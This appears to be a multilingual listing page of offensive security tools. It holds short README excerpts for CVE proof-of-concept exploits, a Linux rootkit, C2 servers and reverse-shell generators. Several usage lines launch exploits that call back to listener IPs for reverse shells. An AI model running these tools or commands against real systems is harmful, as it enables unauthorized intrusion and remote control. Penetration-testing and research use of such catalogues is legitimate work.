CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞的利用代码 只需执行 make 和 ./cve-2021-4034，即可获得 root shell。 原始通告由真实作者发布于此处 PoC 如果利用成功，你将立即获得 root shell： root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT/...

Langflow-CVE-2025-3248-Multi-target

⚠️ Langflow RCE エクスプロイトスキャナー CVE-2025-3248 このPythonベースのスキャナーは、Langflowインスタンスにおける認証なしのリモートコード実行（RCE） 脆弱性をCVE-2025-3248 を介して自動検出します。これは、/api/v1/validate/codeエンドポイントを悪用して任意のシェルコマンドを実行する概念実証ペイロードを使用します。 🚨 CVEの詳細 CVE : CVE-2025-3248 影響 : 認証なしのリモートコード実行 コンポーネント : Langflow API /api/v1/validate/code...

CVE-2015-1578

CVE-2015-1578 Achat 0.150 beta7 - 远程缓冲区溢出，为 PNPT 课程重写为 python3 版本。 原作者：KAhara MAnhara 重写者：Giuseppe Aloisi（python3 版本） Achat 0.150 beta7 - 缓冲区溢出 已在 Windows 7 32 位系统上测试 https://www.exploit-db.com/exploits/36025 给脚本几秒钟时间，它会给你一个反向 shell... 在代码中运行 msfvenom 命令 msfvenom -a x86 --platform Windows...

siemframework

SIEMS フレームワーク MultiSIEM モジュラー Python3 攻撃フレームワーク ElevenPaths 提供 https://www.elevenpaths.com/ 使用方法: python3 ./siemsframework.py はじめに...

Umbra

Umbra Umbra es un rootkit LKM experimental controlable de forma remota para kernels 4.x y 5.x hasta 5.7 que abre una puerta trasera de red capaz de lanzar shells inversas a hosts remotos, ejecutar malware de forma remota y mucho más. El rootkit sigue en desarrollo, aunque las características...

CVE-2022-46169

CVE-2022-46169 このリポジトリは、CVE-2022-46169のProof of Concept（PoC）を含んでいます - Cacti = 1.2.22における認証不要のRCE。詳細はこちらをご覧ください。このスクリプトはリバースシェルハンドラを追加し、sAsPeCt488によって書かれたコードに基づいています。元のコードはこちらでご覧いただけます。 使い方 root@kitploit: python3 CVE-2022-46169.py -t 10.129.211.250 -i 10.10.14.72 -p 4444 Arguments: -t : Target IP...

CVE-2023-21752

CVE-2023-21752 Windows 备份服务中任意文件删除漏洞的 PoC。 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21752 此仓库包含两个利用程序： v1 - 仅执行用户选择的文件删除 v2 - 尝试滥用任意删除来生成提权的 cmd shell（不太稳定，可能需要运行几次，最好在物理机上运行） https://user-images.githubusercontent.com/44291883/211601142-c04534e5-f718-478d-b91a-65d6a4f06080.m...

powerglot

Powerglot Powerglot encodes several kind of scripts using polyglots, for example, offensive powershell scripts. It is not needed a loader to run the payload. In red-team exercises or offensive tasks, masking of payloads is usually done by using steganography, especially to avoid network level...

htb-sau-exploit-chain

HTB Sau エクスプロイトチェーン — CVE-2023-27163 SSRF + Maltrail RCE 自動化 CVE-2023-27163（Request Baskets ≤ 1.2.1 のサーバーサイドリクエストフォージェリ）と Maltrail 0.53 の認証不要のリモートコード実行脆弱性を連鎖させ、リバースシェルを送信する Python エクスプロイトスクリプトです。Hack The Box の Sau マシン向けに設計されています。 📌 概要 このスクリプトは、ターゲットへの初期アクセスを獲得するために必要なエクスプロイト経路を自動化します： 1...

GodGenesis

God Genesis へようこそ God Genesis は Python3 で純粋にコードされた C2 サーバで、Red Teamer やペネトレーションテスター向けに作成されています。 現在は TCP リバースシェルのみをサポートしていますが、ちょっと待ってください。これは FUD であり、標的の WINDOWS マシンから管理者シェルを取得できます。 サポートしているコマンド一覧: root@kitploit:...

shellshock-shell

shellshock-shell Shellschok CVE-2014-6271 バグに対する、シンプルな Python シェル風エクスプロイトです。 既知の脆弱性のある URL を攻撃するために使用します。 このツールは、自分が所有する許可された URL に対してのみ使用できます。 このツールの作者は、その使用について一切の責任を負いません。 ファイル名: shellshock.py 作成者: Sagi Levy - [email protected] 作成日: 27/09/2014 Python バージョン: 2.7 使用例: ./shellshock.py -u...

CVE-2018-2893

本ソフトウェアは学習および交流のみを目的としており、いかなる違法行為も禁止されています この名前を付けた主な目的は、2893の人気に便乗することです。リバースシェルジェネレーター 主な機能は、自身の外部ネットワーク用ncリスニングオブジェクトを生成することです。コードに不慣れな人々の助けになればと思います。2893や2628には適用できず、サードパーティのサービスポートを利用してリモートサービスを生成する必要があります。 GitHubからの転載者...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 および 19606 Strapi CMS バージョン 3.0.0-beta.17.7 以前における Blind Remote Code Execution でリバースシェルを取得 はじめに プログラムの実行 python3 を使用 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 ヘルプ ヘルププロンプト root@kitploit...

CVE-2021-25646-exp

CVE-2021-25646-exp Apache Druid CVE-2021-25646 のリモートコード実行脆弱性の検出・利用ツール ドメイン名または IP:ポートを入力すると、脆弱性の検出が可能です。 脆弱性が検出されたターゲットに対して、コマンド実行が可能です。 単一ターゲットをサポート ファイルから行単位で複数のターゲットを読み取ることをサポート （ターゲット環境でのデモ） 脆弱性検出 脆弱性の悪用、id コマンドの実行 リバースシェル リバースシェルのコマンドは二重引用符で囲んでください。そうしないとエラーが発生します。 少し遅延した後、リバースシェルの取得に成功しました。...

intelspy

Perform automated network reconnaissance scans to gather network intelligence. IntelSpy is a multi-threaded network intelligence tool which performs automated network services enumeration. It performs live hosts detection scans, port scans, services enumeration scans, web content scans,...

CVE-2015-6967-EXPLOIT

CVE-2015-6967-EXPLOIT CVE-2015-6967 PoC Exploit このPythonスクリプトは、Nibbleblog （CVE-2015-6967）の脆弱性を悪用して、脆弱なターゲットにリバースシェルをアップロードします。スクリプトは、ターゲットURL、ユーザー資格情報、およびホストIP/ポートをユーザー入力として受け取り、その後、PHPリバースシェルをアップロードして脆弱性を悪用します。 免責事項 このスクリプトは教育目的のみを意図しています。違法行為に使用しないでください...

CVE-2021-4034

CVE-2021-4034 polkit権限昇格エクスプロイトのための一日 make、./cve-2021-4034を実行するだけで、rootシェルが手に入ります。 実際の作者によるオリジナルアドバイザリはこちら PoC エクスプロイトが正常に動作した場合、すぐにrootシェルが取得できます。 root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 ech...

CVE-2022-22947

CVE-2022-22947 メモリシェル注入 3種類のメモリシェル注入をサポート root@kitploit: Usage: usage -t -u Options: -h, --help show this help message and exit -t TYPE switch one : spring, netty, godzilla -u URL url Godzillaシェル注入を例として root@kitploit: python3 -t godzilla -u http://127.0.0.1 参考記事...

Shell3er

Shell3er Shell3er PowerShell リバースシェル Shell3er リバース機能 Get-RandomProcessName 関数 Get-RandomProcessName 関数は、"PS" と新しい GUID を連結してランダムなプロセス名を生成します。これにより、ユニークで一見ランダムなプロセス名を作成し、不審なプロセスを特定しにくくします。 Run-BackgroundTask 関数 Run-BackgroundTask 関数は、ScriptBlock とオプションの ProcessName...

GoSH

GoSH Golang リバース/バインドシェル ジェネレーター 説明 このツールは、対象ホスト上で希望するタイプのシェルを起動するGoバイナリを生成します。 シェルバイナリは複数のプラットフォーム向けにコンパイル可能で、部分的なポリモーフィズム（一意の関数名）をサポートし、デフォルトのTCPの代わりにUDPプロトコルを使用できます。確立された接続を介してDELETEコマンドを送信すると、シェルバイナリは実行されたホストから自身を削除します。 ライセンス このソフトウェアは MITライセンス の下で提供されています。...